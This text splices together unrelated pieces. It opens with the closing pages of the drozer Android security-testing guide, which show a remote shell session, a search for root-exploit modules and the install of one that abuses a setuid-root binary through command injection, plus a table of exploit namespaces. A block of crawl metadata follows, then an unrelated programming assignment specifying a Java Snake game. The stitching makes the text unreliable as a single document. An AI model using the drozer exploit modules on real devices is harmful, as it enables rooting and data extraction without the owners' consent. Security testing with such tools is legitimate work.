drozer Shell Server
-------------------
There is 1 shell waiting...
1) 127.0.0.1:54214
Shell: 1
/system/bin/id
uid=10058(u0_a58) gid=10058(u0_a58) groups=1028(sdcard_r),3003(inet)
```
5. Installing Modules
Out of the box, drozer provides modules to investigate various aspects of the Android platform, and a few remote exploits.
You can extend drozer’s functionality by downloading and installing additional modules.
5.1 Finding Modules
The official drozer module repository is hosted alongside the main project on Github. This is automatically set up in your copy of drozer. You can search for modules using the `module` command:
```
dz> module search root
metall0id.root.cmdclient
metall0id.root.exynosmem.exynosmem
metall0id.root.scanner_check
metall0id.root.ztesyncagent
```
For more information about a module, pass the `-d` option:
```
dz> module search cmdclient -d
metall0id.root.cmdclient
Exploit the setuid-root binary at /system/bin/cmdclient on certain devices to gain a root shell. Command injection vulnerabilities exist in the parsing mechanisms of the various input arguments.
This exploit has been reported to work on the Acer Iconia, Motorola XYBoard and Motorola Xoom FE.
```
5.2 Installing Modules
You install modules using the `module` command:
```
dz> module install cmdclient
Processing metall0id.root.cmdclient... Done.
Successfully installed 1 modules, 0 already installed
```
This will install any module that matches your query. Newly installed modules are dynamically loaded into your console and are available for immediate use.
6. Getting Help
Stuck? Something not working? Got an awesome idea?
We appreciate that software sometimes does not work as expected, and that things do go wrong. What makes drozer great is the community sharing their ideas on how to make it better.
There are a few ways to get in touch:
**Tweet Us**
We are [@mwrdrozer](https://twitter.com/mwrdrozer). Send us questions, comments and tell us the cool stuff you’ve done with drozer.
**Github**
drozer is on Github: [github.com/mwrlabs/drozer](https://github.com/mwrlabs/drozer). Check out the project for additional information in our wiki, as well as our issue tracker to report bugs and request features.
## Appendix I - drozer Namespaces
This table lists the common namespaces used for drozer modules and the purpose of modules in those namespaces.
<table>
<thead>
<tr>
<th>Namespace</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>app.activity</td>
<td>Find and interact with activities exported by apps.</td>
</tr>
<tr>
<td>app.broadcast</td>
<td>Find and interact with broadcast receivers exported by apps.</td>
</tr>
<tr>
<td>app.package</td>
<td>Find packages installed on a device, and collect information about them.</td>
</tr>
<tr>
<td>app.provider</td>
<td>Find and interact with content providers exported by apps.</td>
</tr>
<tr>
<td>app.service</td>
<td>Find and interact with services exported by apps.</td>
</tr>
<tr>
<td>auxiliary</td>
<td>Useful tools that have been ported to drozer.</td>
</tr>
<tr>
<td>exploit.pilfer</td>
<td>Public exploits that extract sensitive information through unprotected</td>
</tr>
<tr>
<td></td>
<td>content providers or SQL injection.</td>
</tr>
<tr>
<td>exploit.root</td>
<td>Public root exploits.</td>
</tr>
<tr>
<td>information</td>
<td>Extract additional information about a device.</td>
</tr>
<tr>
<td>scanner</td>
<td>Find common vulnerabilities with automatic scanners.</td>
</tr>
<tr>
<td>shell</td>
<td>Interact with the underlying Linux OS.</td>
</tr>
<tr>
<td>tools.file</td>
<td>Copy files to and from the device.</td>
</tr>
<tr>
<td>tools.setup</td>
<td>Install handy utilities on the device, including busybox.</td>
</tr>
</tbody>
</table>
Drozer module developers may choose to create additional namespaces.
|
{"Source-Url": "https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf", "len_cl100k_base": 8475, "olmocr-version": "0.1.50", "pdf-total-pages": 24, "total-fallback-pages": 0, "total-input-tokens": 45381, "total-output-tokens": 9259, "length": "2e13", "weborganizer": {"__label__adult": 0.00060272216796875, "__label__art_design": 0.0004241466522216797, "__label__crime_law": 0.001483917236328125, "__label__education_jobs": 0.00041866302490234375, "__label__entertainment": 0.00011372566223144533, "__label__fashion_beauty": 0.00017201900482177734, "__label__finance_business": 0.000152587890625, "__label__food_dining": 0.0002384185791015625, "__label__games": 0.0019369125366210935, "__label__hardware": 0.0032253265380859375, "__label__health": 0.00023043155670166016, "__label__history": 0.00021958351135253904, "__label__home_hobbies": 0.000133514404296875, "__label__industrial": 0.0004534721374511719, "__label__literature": 0.0002168416976928711, "__label__politics": 0.00021517276763916016, "__label__religion": 0.0003764629364013672, "__label__science_tech": 0.0218658447265625, "__label__social_life": 0.00013518333435058594, "__label__software": 0.05682373046875, "__label__software_dev": 0.90966796875, "__label__sports_fitness": 0.000293731689453125, "__label__transportation": 0.0002219676971435547, "__label__travel": 0.00014281272888183594}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36667, 0.02394]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36667, 0.2829]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36667, 0.78603]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 3356, false], [3356, 4236, null], [4236, 6375, null], [6375, 7579, null], [7579, 8998, null], [8998, 10344, null], [10344, 11869, null], [11869, 12876, null], [12876, 14665, null], [14665, 16167, null], [16167, 17265, null], [17265, 19177, null], [19177, 20995, null], [20995, 23093, null], [23093, 24835, null], [24835, 25701, null], [25701, 27740, null], [27740, 29462, null], [29462, 31104, null], [31104, 32845, null], [32845, 34237, null], [34237, 34899, null], [34899, 36667, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 3356, true], [3356, 4236, null], [4236, 6375, null], [6375, 7579, null], [7579, 8998, null], [8998, 10344, null], [10344, 11869, null], [11869, 12876, null], [12876, 14665, null], [14665, 16167, null], [16167, 17265, null], [17265, 19177, null], [19177, 20995, null], [20995, 23093, null], [23093, 24835, null], [24835, 25701, null], [25701, 27740, null], [27740, 29462, null], [29462, 31104, null], [31104, 32845, null], [32845, 34237, null], [34237, 34899, null], [34899, 36667, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 36667, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36667, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36667, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36667, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36667, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36667, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36667, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36667, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36667, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36667, null]], "pdf_page_numbers": [[0, 0, 1], [0, 3356, 2], [3356, 4236, 3], [4236, 6375, 4], [6375, 7579, 5], [7579, 8998, 6], [8998, 10344, 7], [10344, 11869, 8], [11869, 12876, 9], [12876, 14665, 10], [14665, 16167, 11], [16167, 17265, 12], [17265, 19177, 13], [19177, 20995, 14], [20995, 23093, 15], [23093, 24835, 16], [24835, 25701, 17], [25701, 27740, 18], [27740, 29462, 19], [29462, 31104, 20], [31104, 32845, 21], [32845, 34237, 22], [34237, 34899, 23], [34899, 36667, 24]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36667, 0.10454]]}
|
olmocr_science_pdfs
|
2024-11-28
|
2024-11-28
|
d8657b8188feeef51e497eb939cf11f3baa77914
|
Programming Assignment 8 (PA8) - SnakeGame
Due Date: Wednesday, November 21 @ 11:59 pm
<table>
<thead>
<tr>
<th>Assignment Overview</th>
<th>Grading</th>
<th>Gathering Starter Files</th>
<th>Command Line Arguments</th>
<th>SnakeGame</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sample Output</td>
<td>Sample Screenshots</td>
<td>README File</td>
<td>Extra Credit</td>
<td>Turnin Summary</td>
</tr>
</tbody>
</table>
**Assignment Overview**
This programming assignment is a simplified version of the classic game Snake. For those that are not familiar with the game Snake, it is a game where you are a snake and your goal is to move around and eat pieces of food (in our case, Fruit Loops). Once the game starts, the snake moves continuously in the direction you tell it to. Each time the snake eats a piece of food (a Fruit Loop), it grows. The end goal is to eat enough food such that the snake covers the entire game area. You lose the game if the snake runs into itself or the borders of the game area (as you can imagine, this becomes more difficult as the snake fills up more of the game area).
For a more general idea of how Snake works, you can look at this Wikipedia link. Remember though, that the wikipedia link is not a substitute for the writeup; it should only be used to understand how the game works in general if you are unfamiliar with it. Implementation of this game must follow the exact specifications detailed in this writeup.

**Grading**
- **README: 10 points** - See README Requirements here and questions below
- **Style: 20 points** - See Style Requirements here
- **Correctness: 70 points**
- **Extra Credit: 5 points** - View Extra Credit section for more information.
**NOTE:** If what you turn in does not compile, you will receive 0 points for this assignment.
**Gathering Starter Files**
You will need to create a new directory named pa8 and go into that directory. The $ represents your command prompt. What you type in is in **bold**.
Copy the starter files from the public directory:
- `cp ~/../public/objectdraw.jar .`
- `cp ~/../public/Acme.jar .`
- `cp ~/../public/PA8StarterCode/* .`
<table>
<thead>
<tr>
<th>Starter files provided:</th>
</tr>
</thead>
<tbody>
<tr>
<td>objectdraw.jar</td>
</tr>
<tr>
<td>Acme.jar</td>
</tr>
</tbody>
</table>
**Command Line Arguments**
**Overview:**
There are 4 main components to the implementation of this version of Snake: the grid, the snake, the fruit loops, and the controller. The snake will move around on the grid, with the goal to eat fruit loops placed randomly on the grid. In this version of the game, the game is won once the snake eats a specified number of fruit loops. The controller will be responsible for taking in user input through the keyboard (where arrow keys will be used to move the snake) and directing the snake on what to do based on the input. The controller is also responsible for handling all the game logic (pausing, winning, losing, restarting, etc).
**Command Line Arguments:**
There are 3 optional command line arguments for this program. All arguments are optional, except if you provide an argument, all the previous arguments need to be provided as well (otherwise, how would we know which argument we are supposed to interpret the arg string as?).
Here is the usage statement for the program:
```
Usage: SnakeGame [rowsXcolumns [loopsToWin [delay]]]
rowsXcolumns: size of the grid; 'X' is not case sensitive
-- rows must be valid integer in the range [2, 25]
-- columns must be valid integer in the range [2, 45]
-- defaults to 20x18
loopsToWin: the number of fruit loops that must be eaten to win
-- must be valid integer in the range [1, (rows * columns) - 1]
-- defaults to (rows * columns) - 1; (the full grid)
delay: length of the animation pause measured in milliseconds
-- must be valid integer in the range [50, 1000]
-- defaults to 120 milliseconds
```
**Arg 1: rowsXcolumns**
As mentioned before, the snake travels on a grid, so naturally one of the command line arguments is to specify the grid size, giving the number of rows and columns the grid will have. This should be a string formatted as `rowsXcolumns`, where `rows` is replaced with the number of rows, `columns` is replaced with the number of columns, and `X` (the delimiter between the `rows` and `columns`) can be uppercase or lowercase. For example, the default value for this argument is `20x18`, which translates to a grid with 20 rows and 18 columns.
Arg 2: loopsToWin
The next command line argument, loopsToWin, specifies the number of fruit loops the snake has to eat in order to win the game. In most versions of Snake, you win the game once the snake fills the entire game area (which you achieve by eating the pieces of food). In our version of snake, you can specify the number of fruit loops (pieces of food) the snake needs to eat in order to win. If this argument isn’t specified, it defaults to the number of cells in the grid - 1. The minus 1 is because the head of the snake automatically takes up 1 cell in the grid without needing to eat a fruit loop to make it appear.
Arg 3: delay
The next command line argument, delay, represents the animation delay for the snake measured in milliseconds. This is the length of time the snake will pause in each iteration of the run loop. This correlates to how fast the snake moves, and therefore how difficult the game is. The smaller the delay value, the faster the snake will move; the larger the delay value, the slower the snake will move. The game is easier when the snake moves slower, so you’ll want to use a larger delay value when testing your program.
Now that you have a basic overall understanding of the program and the command line arguments, now would be a good time to go look at the demo video (link posted on piazza) to help solidify everything we just went over.
Parsing the Command Line Arguments:
Start off by creating a new file called SnakeGame.java. This will be the main controller for the game that contains all the game logic; as such, it needs to extend WindowController. The first thing we want to do in this class is write a main method where we will parse the command line arguments. Many of the arguments will be parsed in a similar manner, so it is in your best interest to create a few helper methods to help with argument parsing (more tips on this later). Now would also be a good time to look in PA8Constants.java--there is an entire section dedicated to parsing the command line arguments, which will help give you some context before reading through the rest of Stage 1.
Check Number of Arguments:
First, we need to make sure the user didn’t enter too many arguments. If they did, print the appropriate error message, print the usage statement, and exit with code 1. You’ll notice here that the usage statement has a lot of format specifiers to fill in. Do yourself a favor and make a static helper method (yes, you read that right: static helper method) to print the usage statement. Doing so means you’ll only have to fill in the format specifiers once, so there’s only one place in your code where you might make a mistake (so double triple check you don’t make any mistakes here!).
Special Case: rowsXcolumns
For the first argument, rowsXcolumns, we need to first extract the rows and columns into two separate strings, with the X delimiter being case insensitive (meaning it can be either uppercase or lowercase). There are two methods in the String class you’ll want to use for this (one to ensure the X is case insensitive, and one to extract the rows and columns into two separate strings). If you aren’t able to extract the two separate strings from the argument, this means the user didn’t format the string properly, so print the appropriate error message, print the usage, and exit with code 1.
Parse All the Things:
Now that we have all the arguments separated into their own strings, we can run through the following checks in the order they are listed below. If an argument isn’t provided, it should be given the appropriate default
value. For each argument, as soon as an error is detected, print the appropriate error message, print the usage, then exit with code 1. Only 1 error should ever be printed before the program exits.
<table>
<thead>
<tr>
<th>Checks to Perform</th>
<th>Default Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>rows</td>
<td>20</td>
</tr>
<tr>
<td>columns</td>
<td>18</td>
</tr>
<tr>
<td>loopsToWin</td>
<td>rows * columns - 1</td>
</tr>
<tr>
<td>delay</td>
<td>120</td>
</tr>
</tbody>
</table>
**Checks to Perform**
- **rows**
- Must be a valid integer
- Must be within the range [2, 25] inclusive
- **columns**
- Must be a valid integer
- Must be within the range [2, 45] inclusive
- **loopsToWin**
- Must be a valid integer
- Must be within the range [1, (rows * columns) - 1] inclusive
- **delay**
- Must be a valid integer
- Must be within the range [50, 1000] inclusive
**Handling Invalid Integers:**
You’ll notice that all the arguments need to be converted from a string to an int. We can save ourselves a lot of headache by making another static helper method here to perform the conversion and print an error message (and usage and exit) in the case of an invalid integer. Note that this is the ONLY place in your code where you should have a try-catch block.
In addition to passing the string (to be converted to an int) as a parameter, you should also pass in the string containing the name of the value you are trying to convert. This way you’ll be able to fill in the %s format specifier in the error message that says the name of the value that caused the error (the other %s should contain the erroneous string that couldn’t be converted to an int). For example, if loopsToWin is the string "4hundred2wenty", the error message should say:
```
Error: loopsToWin (4hundred2wenty) must be a valid integer
```
**Handling Integers Out of Range:**
You’ll also notice that once each argument is (successfully) converted to an int, it needs to be within a specific range. Here we can also save ourselves some headache by creating another static helper method to check if a value is within its appropriate range, and print an error message (and usage and exit) otherwise. In order to make this method modular, you should pass in the minimum and maximum accepted values (in addition to other parameters) so it can be used to check each argument, despite them having different ranges.
Note that loopsToWin presents a special case when checking its range because it has a different error message for when the value is out of range than the other arguments do. Simply check this argument separately without using the helper method.
**If All Arguments are SuccessfullyParsed:**
If no errors are encountered while parsing the arguments, you should print out the usage message and then later we will be creating the grid and Acme MainFrame at the end of this main method (more info later).
**Sample Output**
A sample executable for command line parsing is provided in the public directory for you to try and compare your output against. Note that you cannot copy the executable to your own directory; you can only run it using the following command (where you will also pass in the command line arguments):
The following are some examples of input to show how to run the public executable. You are responsible for running the public executable with these and many of your own examples to fully understand what the output should look like. Note that the output of your program must match the output of the public executable *exactly*, character-for-character, newline-for-newline. What you type in is shown in bold.
This executable does not implement the Snake game.
It will only show you the terminal output for both error cases and non-error cases.
<table>
<thead>
<tr>
<th>No arguments, all values set to default:</th>
<th>$ ~/../public/pa8test</th>
</tr>
</thead>
<tbody>
<tr>
<td>Too many arguments:</td>
<td>$ ~/../public/pa8test arg1 arg2 arg3 arg4</td>
</tr>
<tr>
<td>Grid size argument is not formatted correctly:</td>
<td>$ ~/../public/pa8test 15,16 12 500</td>
</tr>
<tr>
<td>Grid rows is not a valid integer:</td>
<td>$ ~/../public/pa8test 10ax15</td>
</tr>
<tr>
<td>loopsToWin is not a valid integer:</td>
<td>$ ~/../public/pa8test 20X20 notAnInt</td>
</tr>
<tr>
<td>delay out of range:</td>
<td>$ ~/../public/pa8test 9x12 107 1420</td>
</tr>
</tbody>
</table>
This list is NOT exhaustive--that's your job.
**SnakeGame**
You will be writing the following classes (and therefore .java files) to implement this program:
*SnakeGame, Grid, GridCell, Snake, SnakeSegment, FruitLoop*
As we can see in the diagram above, a Grid is made up of GridCells, and a Snake is made up of SnakeSegments. We can also see that a GridCell can contain a FruitLoop or a SnakeSegment.
Important Implementation Notes:
<table>
<thead>
<tr>
<th>No static variables. No static methods.</th>
</tr>
</thead>
<tbody>
<tr>
<td>The only exception is that you should have static helper methods to help with parsing the command line arguments (however, these methods should not contain any static variables).</td>
</tr>
<tr>
<td>From the wise words of Steve McConnell in his book <em>Code Complete</em>, “the road to programming hell is paved with global variables.”</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Use helper methods!</th>
</tr>
</thead>
<tbody>
<tr>
<td>The key to completing this assignment will be to create many helper methods. If you do not create helper methods, this assignment will become very difficult very quickly.</td>
</tr>
<tr>
<td>Some more wise words from McConnell: “Classes and routines are first and foremost intellectual tools for reducing complexity. If they’re not making your job simpler, they’re not doing their jobs.”</td>
</tr>
</tbody>
</table>
Stage 1: Create the Grid
To create the grid, we’ll be working in two different files: Grid.java and GridCell.java.
GridCell:
This class represents a single cell in a grid. A GridCell needs to know its row and column index in the grid (which should be passed in as parameters to the constructor), and it should also calculate the position of its upper left corner. You can calculate the upper left corner of the GridCell based on its row and column index, and the size of a GridCell (GRID_CELL_SIZE).
A GridCell should also be able to hold a reference to a FruitLoop or a SnakeSegment. A GridCell should be empty upon creation (meaning its FruitLoop reference and its SnakeSegment reference are both null). Note that a GridCell should never contain both a FruitLoop and a SnakeSegment at the same time (this is something that will be handled outside of this class, but is worth being aware of).
A GridCell should have the ability to:
- return data it has
- indicate whether or not it is empty
- insert a FruitLoop or a SnakeSegment
- indicate whether or not it has a FruitLoop; indicate whether or not it has a SnakeSegment
- remove the FruitLoop or SnakeSegment
You should write a bunch of methods to implement these abilities (most of the bullet points will correspond to more than one method).
Grid:
Now that we have well-defined GridCells, we can define the Grid. A Grid has a specified number of rows and columns (passed into the constructor) and should contain a 2D array of GridCells. A Grid should also have a random number generator to help with selecting random cells in the grid (in this assignment you can create a Random object without passing in a seed for it--see the Javadocs for Random for how this works). As in previous assignments, you should only ever create 1 (one) Random object in the entire program.
A Grid should have the ability to:
- reset itself so that all the GridCells are empty
- return its height and width in pixels (you know the number of rows and columns, and the size of a GridCell...where are my Math-CS majors at?)
- return its centerpoint
• return the GridCell at the specified row and column number (if the GridCell is not within the Grid, return null to indicate that)
[The following abilities/methods will require some further explanation below]
• getCellNeighbor: given a GridCell and a Direction, return the neighboring GridCell in that Direction
• getRandomEmptyCell: return a random empty cell in the grid
• draw: draw the Grid on the canvas
public GridCell getCellNeighbor(GridCell cell, Direction dir)
In order to implement this method, you’ll need to understand what Direction is. Take a moment to read through Direction.java, one of the starter files provided to you. This file defines a Direction enum. Click the following link for an explanation of Java enums.
In this method, our goal is to return the cell’s neighbor in the direction passed in. For instance, if the cell passed in is at row 3, column 4, and the direction passed in is UP, we want to return the GridCell at row 2, column 4. Likewise, if the direction passed in was RIGHT, we would want to return the GridCell at row 2, column 5. In this method, we will want to make use of our other method we wrote to get a GridCell from the Grid, given its row and column (which already handles invalid GridCells properly).
Look at the x and y values for each of the Direction enum constants defined in Direction.java and see how you can use those values to calculate the desired neighbor’s row and column indices (you will want to use the getX() and getY() methods in Direction). Note that x corresponds to columns, and y corresponds to rows. In other words, picture placing x, y axes on top of a grid and pointing at one of the GridCells: adjusting the x value would change which column you are pointing at, and adjusting the y value would change which row you are pointing at.
public GridCell getRandomEmptyCell()
In this method, simply generate a random row index, and a random column index, and then retrieve the GridCell at that location. However, it is not guaranteed that the GridCell will be empty. If the GridCell is not empty, keep getting a new random GridCell until we find an empty one.
In this case where there are no more empty GridCells, we should return null, but how do we know if all the GridCells are full? Since GridCells will be changing between empty and non-empty quite often (as the snake moves around), it would be very inefficient to check if every GridCell is full everytime we want a random empty GridCell. One way to solve this problem is to add an instance variable to Grid that will keep track of the number of empty cells. Since only GridCell knows when a cell becomes empty or full, we should modify the GridCell constructor to also take in a reference to the Grid. Then we can add a method in Grid that will adjust the count of empty cells (either incrementing or decrementing it). We can then call this Grid method from within GridCell whenever a GridCell is filled or emptied.
After making those adjustments to Grid and GridCell, figuring out when there are no more empty cells becomes trivial, because we can simply check our counter.
public void draw(DrawingCanvas canvas)
In this method, the Grid should draw itself on the canvas passed in. This will consist of 3 parts: drawing the background, drawing the horizontal lines between the rows, and drawing the vertical lines between the columns.
To draw the background, we simply need to draw a FilledRect that is the size of the grid. The color should be set to BACKGROUND_COLOR. Note that you don’t need to store the FilledRect as an instance variable.
To draw the horizontal lines between the rows, we can create two Location objects for the beginning and the end of a line, starting at top of the grid. Then for every row (plus one extra, since if there are 3 rows, we want to draw 4 lines) we should draw a line with the current endpoints, and then move the endpoints down by the size of a GridCell. Make sure to set the color of the lines to GRID_LINE_COLOR. Note that you don’t need to store the lines as instance variables. The vertical lines can be drawn in a similar fashion.
**Back in SnakeGame.java:**
Define a SnakeGame constructor to save the Grid, loopsToWin, and animation delay for the snake as instance variables. In other words, save all the information we’ve gathered from the command line arguments, or lack thereof, in SnakeGame.
Let’s go back to where we left off in the main method in SnakeGame.java. Now that we’ve defined the Grid class, create a Grid as a local variable. Now we can finally finish off this main method by creating the Acme MainFrame. For now, let’s set the window size to the width and height of the grid, and add 1 to both the width and the height. We are adding 1 here for the very last horizontal and vertical grid lines that will later be drawn on the canvas. The lines are 1 pixel wide, and the Grid width and height does not account for the extra 1 pixel.
Let’s now add a definition for the begin() method in SnakeGame and in here draw the grid on the canvas. Create two new files for FruitLoop and SnakeSegment with empty class declarations so that your code can compile (for example: `public class FruitLoop {}`). Now compile and run your code, and you should see the grid drawn on the canvas. Try running your program with different grid sizes to make sure it works correctly.
**Stage 2: Create the FruitLoops**
To create the FruitLoops, we’ll be working in *FruitLoop.java.*
**FruitLoop:**
This class defines a single FruitLoop that can be placed in a GridCell. A FruitLoop is made up of 2 FilledOvals and contains a reference to the GridCell it is located in. To create a FruitLoop, we will need to pass in the GridCell to create it in, the Color we should make the FruitLoop, and the canvas to draw it on. In the constructor, make sure you save the reference to the GridCell, and also insert the FruitLoop into the GridCell.
Now let’s draw the FruitLoop on the canvas. The outer FilledOval should be the color of the FruitLoop and should be the size of a GridCell divided by OUTER_SIZE_DIVISOR. The inner FilledOval should be the same color as the Grid’s background, and should be the size of a GridCell divided by INNER_SIZE_DIVISOR. Center the FilledOvals in the GridCell.
A FruitLoop should have the ability to:
- be eaten, because what else do you do with fruit loops? (when a FruitLoop is eaten, it needs to be removed from the canvas and removed from the GridCell it was in)
**Stage 3: Create the Snake**
To create the snake, we’ll be working in two different files: *Snake.java* and *SnakeSegment.java.*
**SnakeSegment:**
This class represents a single segment of a snake. A SnakeSegment is made up of a FilledOval and contains a reference to the GridCell it is currently located in. To create a SnakeSegment, we will need to pass in the GridCell to create it in and the canvas to draw it on. In the constructor, make sure you save the reference to
the GridCell, and also insert the SnakeSegment into the GridCell. To draw the SnakeSegment, its FilledOval should be the size of a GridCell, and should be centered in the GridCell it is in. Make the FilledOval white.
A SnakeSegment should have the ability to:
- return the GridCell it is in
- move to a new GridCell (you can assume that the new GridCell will be empty prior to moving)
**Snake**
Now that we’ve defined SnakeSegments, we can define the Snake that is made up of SnakeSegments. Since the Snake will need to move around the Grid on its own, it needs to be an ActiveObject. The Snake will need to be passed a reference to the SnakeGame object, the grid, and the canvas. It will also need to be passed the delay that was determined in SnakeGame’s main method so it knows how long to pause in each iteration of the run method. These should all be saved as instance variables in the constructor, as they’ll be needed later.
Now let’s set up the actual pieces of the snake. We first need to create a SnakeSegment for the head of the snake, placing it in a random empty GridCell. The head of the snake is what we will use to perform all collision checking and FruitLoop-eating. Next we will want to initialize an ArrayList of SnakeSegments for the body of the snake. This ArrayList should initially be empty, because we haven’t eaten any FruitLoops yet. We recommend storing the head separately outside the ArrayList since it is treated differently than the rest of the snake when moving around the grid.
Lastly, we need to keep track of the Direction the head of the snake is moving. The direction should initially be Direction.NONE, because we want the snake to start out stationary.
A Snake should have the ability to:
- toggle between paused and unpaused
- setDirection: update the snake’s current direction to a new Direction
- move: move every SnakeSegment in the snake by one GridCell, checking for collisions and FruitLoops
- die: cross the rainbow bridge; cease to exist; end the animation loop of life
- run: while the snake is still alive, animate the snake by moving it around the grid (unless it is paused)
```java
public void setDirection(Direction dir)
In this method, you should only update the snake’s direction if it is not paused (the only thing the snake should respond to when paused is unpausing). If the snake doesn’t have a body yet (hasn’t eaten any FruitLoops), there are no restrictions on how its direction can change. If the snake does have a body, only update its direction as long as the new direction isn’t the opposite of the current direction.
```
```java
private boolean move()
This method should move each SnakeSegment in the snake by 1 GridCell and should return whether or not the move was successful. Let’s start with just moving the head first, since the rest of the body will follow the head. When we move the head, we want to move it in the direction that the snake is moving, and we need to check for wall collisions, self collisions, and FruitLoop-eating. We only need to check for these things with the head, since the head will essentially clear the path for the body (the body can’t possibly run into something that the head didn’t run into). If the snake’s movement direction is Direction.NONE, we can simply return right away, counting this as a successful move (if we didn’t move anywhere, we know we didn’t collide with anything, so we can consider that a success).
```
**Step 1: Collision Detection**
First get the current GridCell that the snake’s head is in, and the next GridCell that we want to move the head to (hint: the current and next GridCells are neighbors). If the next GridCell is outside of the bounds of the Grid, or contains part of the snake, we can’t move there because that would result in a collision (so return the appropriate value to indicate that the snake couldn’t move). Next, check if there is a FruitLoop in the next GridCell. If there is, eat it, and take note that we will need to grow a new SnakeSegment at the end of this method.
**Step 2: Move the SnakeSegments**
Now we can begin the actual movement. Since we’ve guaranteed that the next GridCell is empty (because we’ve checked for walls, SnakeSegments, and FruitLoops), we can now move the head into the next GridCell without concern. Now loop through all the SnakeSegments in the body of the snake, moving them one at a time into the previous SnakeSegment’s GridCell that it just moved out of. The end result should be that each SnakeSegment moved by 1 GridCell.
**Step 3: Grow a New SnakeSegment**
If we ate a FruitLoop earlier, grow a new SnakeSegment, placing it at the end of the snake. We also need to tell the SnakeGame controller that we ate a fruit loop, so it can keep track of scoring and spawn another fruit loop (write a method in SnakeGame for this).
```java
private void die()
In this method, take note that the snake died, such that it will cause the run() loop to end. We also need to tell the SnakeGame controller that the snake died (write a method in SnakeGame for this; this method should lose the game).
```
```java
public void run()
While the snake is still alive, the entire snake should move by 1 GridCell each iteration of the run loop. Don’t move the snake if it is paused. If the snake couldn’t move, it dies. Make sure you remember to pause in the run loop so we can actually see the animation.
```
**Back in SnakeGame.java:**
Now would be a good time to write some temporary code in your begin() method to make sure that you can display a Snake and a FruitLoop on the grid. If things are working properly, the Snake should show up as a single SnakeSegment and should not be moving. The FruitLoop should look like a fruit loop.
**Stage 4: Implement the Gameplay**
Now that we’ve created all the pieces we need for this program, we can finally tie it all together to create an actual game. All of the GUI components and game logic should be in `SnakeGame.java`.
SnakeGame should have the ability to:
- begin: perform setup that should only happen once at the very beginning
- initGame: perform setup that should happen every time a new game is started
- place a FruitLoop randomly in the grid
- respond to keyboard input
- change the game state (pause the game, lose the game, win the game, restart the game)
- react to the snake eating a fruit loop
public void begin()
In this method, we need to perform all the initial setup that should only happen once. Make sure to remove any temporary code you had in here for testing previous stages.
**Setup GUI Components:**
Create a JPanel with a GridLayout and add the following labels to it. Make sure to call this.validate(); after adding the panel to the window. When we originally set the window size back at the end of main, we only accounted for the size of the grid. Since we are now adding a panel to the window, we need to increase the height of the window by SCORE_PANEL_HEIGHT.
<table>
<thead>
<tr>
<th>SnakeGame</th>
<th>_</th>
<th>□</th>
<th>X</th>
</tr>
</thead>
<tbody>
<tr>
<td>Applet</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Fruit Loops Eaten: 0</td>
<td>Fruit Loops to Win: 8</td>
<td>Most Fruit Loops Eaten: 0</td>
<td></td>
</tr>
</tbody>
</table>
**Setup the Game:**
In order to setup the first game, we will want to delegate to our other method that performs setup every time a new game is started.
**Setup Keyboard Input:**
Since the SnakeGame will be controlled through keyboard input, we’ll need SnakeGame to implement the appropriate listener interface. Note that any unused methods still need method headers (in the description explain that they intentionally don’t do anything, and why they need to be there). On the very last line of the begin method, add the following line:
```java
canvas.requestFocusInWindow();
```
Without this line, we would need to first click on the canvas before SnakeGame would be able to receive any keyboard input. This line of code makes sure that the focus is set to the canvas, so we don’t need to manually “set” the focus ourselves by clicking.
private void initGame()
In this method, initialize all the game logic (current state of the game, scoring) and game components (grid, snake, first fruit loop).
We’ll also need to setup popup messages that will appear during the game. You have been provided with a file called PopupMessage.java which you should go look at now. This is a helper class to help display messages on top of the grid. In order to use it, you’ll need to create a PopupMessage object (as an instance variable in SnakeGame) centered over the grid. Then create Text objects for each of the messages that will be displayed during the game (don’t worry about the positions of these Text objects since PopupMessage will handle that for you). PA8Constants.java has constants that will help with this. The pause, win, and lose messages should have the BIG_FONT_SIZE and be bold. The restart message should have the SMALL_FONT_SIZE and not be bold. We recommend creating a helper method to create a Text object given a String, the font size, and whether or not it should be bold. Make sure the Text objects are initially hidden.
**Overview of Gameplay:**
Now that we’ve helped you with all the setup, it is up to you to tie everything together into a game using the following guidelines. We recommend guiding your logic in SnakeGame based on the current state of the game (there are constants in PA8Constants.java to help track the game state).
Before the games starts, the usage message mentioned should be printed to the terminal.
When the game starts, the Snake and the first fruit loop should be randomly placed on the grid. The fruit loop should be the first color in the `FRUIT_LOOP_COLORS` array. Cycle through the colors in this array for each successive fruit loop that is placed (see demo video and screenshots). The snake should initially be stationary.
While the game is running, you should be able to control the direction that the snake is moving using the arrow keys (see `KeyEvent documentation` for key code constants; use the non-numpad constants for arrow keys). Whenever the snake eats a fruit loop you should update the “Fruit Loops Eaten” label to reflect that. You should also place a new fruit loop in the grid to replace the one that was eaten unless the snake has eaten enough fruit loops to win.
